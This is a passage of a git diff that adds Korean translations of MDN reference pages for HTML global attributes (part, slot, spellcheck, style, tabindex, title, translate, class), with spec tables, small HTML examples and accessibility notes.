+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li><a href="/ko/docs/Web/HTTP/Headers/Content-Language"><code>Content-Language</code> HTTP 헤더</a></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/part/index.html b/files/ko/web/html/global_attributes/part/index.html
new file mode 100644
index 0000000000..839639f470
--- /dev/null
+++ b/files/ko/web/html/global_attributes/part/index.html
@@ -0,0 +1,43 @@
+---
+title: part
+slug: Web/HTML/Global_attributes/part
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/part
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>part</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 파트 이름을 공백으로 구분한 목록을 지정합니다. CSS에서는 {{CSSxRef("::part")}} 의사 요소를 사용해, 섀도 트리 내의 특정 요소에 스타일을 적용할 수 있습니다.</p>
+
+<p><a href="https://mdn.github.io/web-components-examples/shadow-part/">섀도 파트 예제</a>에서 사용 예를 살펴보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Shadow Parts", "#part-attr", "part")}}</td>
+   <td>{{Spec2('CSS Shadow Parts')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.part")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/slot/index.html b/files/ko/web/html/global_attributes/slot/index.html
new file mode 100644
index 0000000000..b29c786b7f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/slot/index.html
@@ -0,0 +1,48 @@
+---
+title: slot
+slug: Web/HTML/Global_attributes/slot
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/slot
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>slot</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소에 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">섀도우 DOM</a> 섀도우 트리를 할당합니다. <code>slot</code> 특성을 지정한 요소는 {{htmlattrxref("name", "slot")}} 특성의 값이 요소의 <code>slot</code> 값과 일치하는 {{htmlelement("slot")}} 요소에 할당됩니다.</p>
+
+<p>예제는 <a href="/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a> 안내서에서 확인할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.slot")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/spellcheck/index.html b/files/ko/web/html/global_attributes/spellcheck/index.html
new file mode 100644
index 0000000000..c367bcd6a0
--- /dev/null
+++ b/files/ko/web/html/global_attributes/spellcheck/index.html
@@ -0,0 +1,67 @@
+---
+title: spellcheck
+slug: Web/HTML/Global_attributes/spellcheck
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>spellcheck</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 맞춤법 검사 여부를 지정하는 열거형 특성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>true</code>는 가능한 경우 요소의 맞춤법을 검사해야 함을 나타냅니다.</li>
+ <li><code>false</code>는 요소의 맞춤법을 검사하지 않아야 함을 나타냅니다.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>spellcheck</code> 특성은 불리언이 아니고 열거형 특성이므로 <code>true</code> 또는 <code>false</code>를 반드시 지정해야 합니다. 즉, <code>&lt;textarea spellcheck&gt;&lt;/textarea&gt;</code>처럼은 사용할 수 없으며, <code>&lt;textarea spellcheck="true"&gt;&lt;/textarea&gt;</code>와 같이 사용해야 합니다.</p>
+</div>
+
+<p>특성을 지정하지 않았을 때의 기본값은 브라우저 및 요소에 따라 다릅니다. 또한, <code>spellcheck</code> 특성은 상속 대상이므로, 부모 요소의 값에도 영향을 받습니다.</p>
+
+<p><code>spellcheck</code>는 권장사항에 불과하며, 브라우저가 맞춤법을 검사해야 할 의무는 없습니다. 보통 <code>spllcheck</code> 특성을 <code>true</code>로 지정하더라도, 요소를 편집할 수 없다면 맞춤법 검사를 하지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#spelling-and-grammar-checking", "spellcheck")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.spellcheck")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/style/index.html b/files/ko/web/html/global_attributes/style/index.html
new file mode 100644
index 0000000000..6400ef008f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/style/index.html
@@ -0,0 +1,69 @@
+---
+title: style
+slug: Web/HTML/Global_attributes/style
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/style
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>style</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소에 적용할 <a href="/ko/docs/Web/CSS">CSS</a> 스타일 선언을 담습니다.</span> 스타일은 별도의 파일에 정의하는 것이 권장된다는 점을 참고하세요. 이 특성과 {{HTMLElement("style")}} 요소는 주로 테스트 등 빠른 스타일링을 위한 목적으로 사용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-style.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>style</code> 특성에 의미를 담으면 안됩니다. 페이지의 모든 스타일을 제거하더라도, 그 의미는 옳게 남아있어야 합니다. 보통 <code>style</code>을 사용해 불필요한 정보를 숨기기보단 <code><a href="/ko/docs/Web/HTML/Global_attributes/hidden">hidden</a></code> 특성을 사용해야 합니다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-style-attribute", "style")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, it is now a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/styles.html#h-14.2.2', 'style')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Style", "", "")}}</td>
+   <td>{{Spec2("CSS3 Style")}}</td>
+   <td>Defines the content of the <code>style</code> attribute.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.style")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/tabindex/index.html b/files/ko/web/html/global_attributes/tabindex/index.html
new file mode 100644
index 0000000000..898852f852
--- /dev/null
+++ b/files/ko/web/html/global_attributes/tabindex/index.html
@@ -0,0 +1,92 @@
+---
+title: tabindex
+slug: Web/HTML/Global_attributes/tabindex
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/tabindex
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>tabindex</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소가 포커스 가능함을 나타내며, 이름에서도 알 수 있듯, 주로 <kbd>Tab</kbd> 키를 사용하는 연속적인 키보드 탐색에서 어느 순서에 위치할지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-tabindex.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>값으로는 정수를 지정할 수 있으며, 수에 따라 결과가 달라집니다.</p>
+
+<ul>
+ <li><strong>음의 정숫값</strong>(보통 <code>tabindex="-1"</code>)은 연속 키보드 탐색으로 접근할 수는 없으나 JavaScript나 시각적(마우스 클릭)으로는 포커스 가능함을 뜻합니다. 보통 JavaScript를 사용한 위젯의 접근성 확보를 위해 사용합니다.
+
+  <div class="note">
+  <p><strong>참고:</strong> 음의 값은 특정 이벤트에만 나타나는 요소에 유용합니다. 사용자는 키보드를 계속 눌러도 접근할 수 없으나, 스크립트에서는 {{domxref("HTMLOrForeignElement.focus", "focus()")}} 메서드를 호출해 포커스를 부여할 수 있기 때문입니다.</p>
+  </div>
+ </li>
+ <li><code>tabindex="0"</code>은 기본값으로, 연속 키보드 탐색으로 요소에 접근할 수 있으며 문서 소스 코드의 순서에 따른다는 것을 나타냅니다. 양의 정숫값을 가진 요소가 존재할 경우 순서는 그 이후가 됩니다.</li>
+ <li><strong>양의 정숫값</strong>은 요소를 연속 키보드 탐색으로 접근할 수 있으며, 그 순서는 해당 값으로 지정하겠다는 것을 뜻합니다. 즉, <code>tabindex="4"</code>인 요소는 <code>tabindex="5"</code>와 <code>tabindex="0"</code>인 요소 이전에, 그러나 <code>tabindex="3"</code>인 요소 이후에 접근할 수 있습니다. 다수의 요소가 하나의 값을 공유할 경우 그 안에서 문서 소스 코드의 순서를 따릅니다. 최댓값은 <code>32767</code>입니다.
+  <div class="warning">
+  <p>0보다 큰 <code>tabindex</code> 값을 피하세요. 접근성 보조기술 사용자의 페이지 탐색과 조작에 방해될 수 있습니다. 대신, 문서의 요소 순서를 논리적인 순서대로 배치하세요.</p>
+  </div>
+ </li>
+</ul>
+
+<p>{{htmlelement("div")}}에 <code>tabindex</code>를 설정할 경우, 콘텐츠에도 <code>tabindex</code>를 지정하지 않는 한 화살표 키로 스크롤 할 수 없습니다. <a href="https://jsfiddle.net/jainakshay/0b2q4Lgv/">fiddle을 방문해 tabindex가 스크롤에 주는 영향을 확인하세요.</a></p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>키보드 입력을 통해 포커스 가능한 상호작용 항목을 만들기 위해 비 <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>에 <code>tabindex</code>를 추가하는 것을 피하세요. 이를테면 버튼을 나타내기 위해 {{htmlelement("button")}} 대신 {{htmlelement("div")}}를 사용하는 것을 말합니다.</p>
+
+<p>비 대화형 요소를 사용해 만든 대화형 컴포넌트는 접근성 트리에 나타나지 않으므로, 보조 기술이 해당 컴포넌트로 탐색하거나 조작하는 것을 방지합니다. 상호작용 가능한 항목은 대화형 요소({{htmlelement("a")}}, {{htmlelement("button")}}, {{htmlelement("details")}}, {{htmlelement("input")}}, {{htmlelement("select")}}, {{htmlelement("textarea")}} 등)를 사용해 적절한 의미와 함께 나타내야 합니다. 대화형 콘텐츠 요소는 보통 <a href="/ko/docs/Web/Accessibility/ARIA">ARIA</a>가 관리하는, 접근성 기술에 알려줄 수 있는 자신의 역할과 상태를 내장하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2014/08/using-the-tabindex-attribute/">Using the tabindex attribute | The Paciello Group</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-tabindex-attribute", "tabindex")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#attr-tabindex", "tabindex")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the attribute is now supported on all elements (global attributes).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#adef-tabindex', 'tabindex')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.global_attributes.tabindex")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a></li>
+ <li>이 속성을 나타내는 {{domxref("HTMLElement.tabIndex")}}</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/title/index.html b/files/ko/web/html/global_attributes/title/index.html
new file mode 100644
index 0000000000..e0dbe671c1
--- /dev/null
+++ b/files/ko/web/html/global_attributes/title/index.html
@@ -0,0 +1,125 @@
+---
+title: title
+slug: Web/HTML/Global_attributes/title
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/title
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>title</strong></code> <a href="/en-US/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소와 관련된 추가 정보를 제공하는 텍스트를 나타냅니다.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-title.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>다음과 같은 경우 많이 쓰입니다.</p>
+
+<ul>
+ <li>보조 기술을 위해 {{HTMLElement("iframe")}} 요소에 이름 붙이기</li>
+ <li>진짜 {{HTMLElement("label")}}을 표시하지 못할 때에 대비해 {{htmlelement("input")}} 요소에 프로그래밍을 통한 레이블 추가하기</li>
+ <li>{{htmlelement("table")}} 요소 컨트롤에 레이블 추가하기</li>
+</ul>
+
+<p>{{HTMLElement("link")}}, {{HTMLElement("abbr")}}, {{HTMLElement("input")}}, {{HTMLElement("menuitem")}} 요소의 <code>title</code> 특성은 추가적인 뜻을 가지고 있습니다..</p>
+
+<h2 id="여러_줄의_제목">여러 줄의 제목</h2>
+
+<p><code>title</code> 특성은 여러 줄을 가질 수 있으며, 모든 <code>U+000A LINE FEED</code> (<code>LF</code>) 문자가 줄을 바꿉니다. 즉, 다음의 경우 툴팁이 두 줄로 나타나므로 주의를 요해야 합니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;&lt;code&gt;title&lt;/code&gt; 안에서 줄을 바꿀 땐 조심해야 합니다.
+이 &lt;abbr title="This is a
+multiline title"&gt;예제&lt;/abbr&gt;처럼요.&lt;/p&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<div>{{EmbedLiveSample('여러_줄의_제목')}}</div>
+
+<h2 id="특성_상속">특성 상속</h2>
+
+<p>요소가 <code>title</code> 특성을 가지고 있지 않을 땐 부모 요소로부터 상속합니다. 부모 요소 또한 자신의 부모로부터 상속할 수 있습니다.</p>
+
+<p><code>title</code>에 빈 문자열을 지정한 경우 조상의 <code>title</code>이 더 이상 관련되지 않았으며 해당 요소에 툴팁을 표시하지 말아야 함을 나타냅니다.</p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;div title="CoolTip"&gt;
+  &lt;p&gt;여기 어디에 마우스를 올리면 “CoolTip”이 나타납니다.&lt;/p&gt;
+  &lt;p title=""&gt;하지만 여기에서는 나타나지 않죠.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="결과_2">결과</h3>
+
+<div>{{EmbedLiveSample('특성_상속')}}</div>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>title</code> 특성은 다음과 같은 경우에 문제가 많습니다.</p>
+
+<ul>
+ <li>터치 전용 장치 사용자</li>
+ <li>키보드로 탐색하는 사용자</li>
+ <li>스크린 리더, 화면 돋보기 등 보조 기술로 탐색하는 사용자</li>
+ <li>섬세한 운동조절이 힘든 사용자</li>
+ <li>인지력 문제를 가진 사용자</li>
+</ul>
+
+<p>일관적이지 못한 브라우저 지원 문제에 더불어, 브라우저가 렌더링 한 페이지를 보조 기술이 분석함으로써 문제가 심해집니다. 툴팁 효과가 필요한 경우, <a href="https://inclusive-components.design/tooltips-toggletips/">위에 해당하는 사용자도 접근하기 좋은 다른 기법</a>을 사용하는 것이 좋습니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/TR/html/dom.html#the-title-attribute">3.2.5.1. The title attribute | W3C HTML 5.2: 3. Semantics, structure, and APIs of HTML documents</a></li>
+ <li><a href="https://developer.paciellogroup.com/blog/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute – updated | The Paciello Group</a></li>
+ <li><a href="https://inclusive-components.design/tooltips-toggletips/">Tooltips &amp; Toggletips - Inclusive Components</a></li>
+ <li><a href="https://www.24a11y.com/2017/the-trials-and-tribulations-of-the-title-attribute/">The Trials and Tribulations of the Title Attribute - 24 Accessibility</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "dom.html#the-title-attribute", "title")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, it is now a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#adef-title', 'title')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.title")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>All <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</li>
+ <li>{{domxref("HTMLElement.title")}} that reflects this attribute.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/translate/index.html b/files/ko/web/html/global_attributes/translate/index.html
new file mode 100644
index 0000000000..12ec6e9833
--- /dev/null
+++ b/files/ko/web/html/global_attributes/translate/index.html
@@ -0,0 +1,64 @@
+---
+title: translate
+slug: Web/HTML/Global_attributes/translate
+tags:
+  - Experimental
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/translate
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><span class="seoSummary"><code><strong>translate</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 페이지를 지역화할 때 요소의 {{domxref("Text")}} 노드 자식 및 번역 가능한 특성의 값을 번역해야 되는지, 아니면 그대로 유지해야 하는지 나타내는 열거형 속성입니다.</span> 가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li>빈 문자열 또는 <code>"yes"</code>는 페이지 지역화 과정에서 요소를 번역해야 함을 나타냅니다.</li>
+ <li><code>"no"</code>는 요소의 내용을 그대로 유지해야 함을 나타냅니다.</li>
+</ul>
+
+<p>비록 모든 브라우저가 <code>translate</code> 특성을 인식하는건 아니지만, Google 번역 등의 자동 번역 시스템과 번역가가 사용하는 도구가 값을 존중할 수 있습니다. 그러므로 웹 작성자로서 번역되어선 안될 요소를 표시하는 것이 중요합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제에서의 <code>translate</code> 특성은 푸터에 배치한 회사의 브랜드 이름을 번역하지 말 것을 요청합니다.</p>
+
+<pre class="brush: html notranslate">&lt;footer&gt;
+  &lt;small&gt;© 2020 &lt;span translate="no"&gt;BrandName&lt;/span&gt;&lt;/small&gt;
+&lt;/footer&gt;</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#attr-translate", "translate")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "dom.html#the-translate-attribute", "translate")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.translate")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>이 특성을 반영하는 {{domxref("HTMLElement.translate")}} 속성.</li>
+ <li><a href="https://www.w3.org/International/questions/qa-translate-flag">HTML의 translate 특성 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/클래스/index.html b/files/ko/web/html/global_attributes/클래스/index.html
new file mode 100644
index 0000000000..d0aa89b606
--- /dev/null
+++ b/files/ko/web/html/global_attributes/클래스/index.html
@@ -0,0 +1,64 @@
+---
+title: class
+slug: Web/HTML/Global_attributes/클래스
+tags:
+  - Global attributes
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/class
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>class</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 공백으로 구분한 요소 클래스의 목록으로, 대소문자를 구분하지 않습니다. 클래스는 CSS나 JavaScript에서 <a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a>나 DOM 메서드의 {{domxref("document.getElementsByClassName()")}}과 같은 메서드를 통해 요소에 접근할 수 있는 방법입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>명세서가 클래스의 명칭에 대한 요구사항을 제시하지는 않았지만, 웹 개발자는 해당 요소의 표시 방식보다는 요소의 의미와 목적을 설명하는 명칭을 사용하는 것이 좋습니다. 예를 들어, 클래스 특성을 가진 어떤 요소가 기울임꼴로 나타난다 하더라도, 클래스 이름은 "기울임꼴"을 설명하는 것이 아니라 요소를 설명하는 것입니다. 의미를 가진 이름은 해당 페이지의 표현 방식이 바뀌더라도 논리성을 잃지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "elements.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML4.01')}}, <code>class</code> is now a true global attribute.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지에 있는 호환성 테이블은 구조적 데이터로부터 생성된 것입니다. 이 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 살펴보시고 pull request를 보내주시기 바랍니다.</div>
+
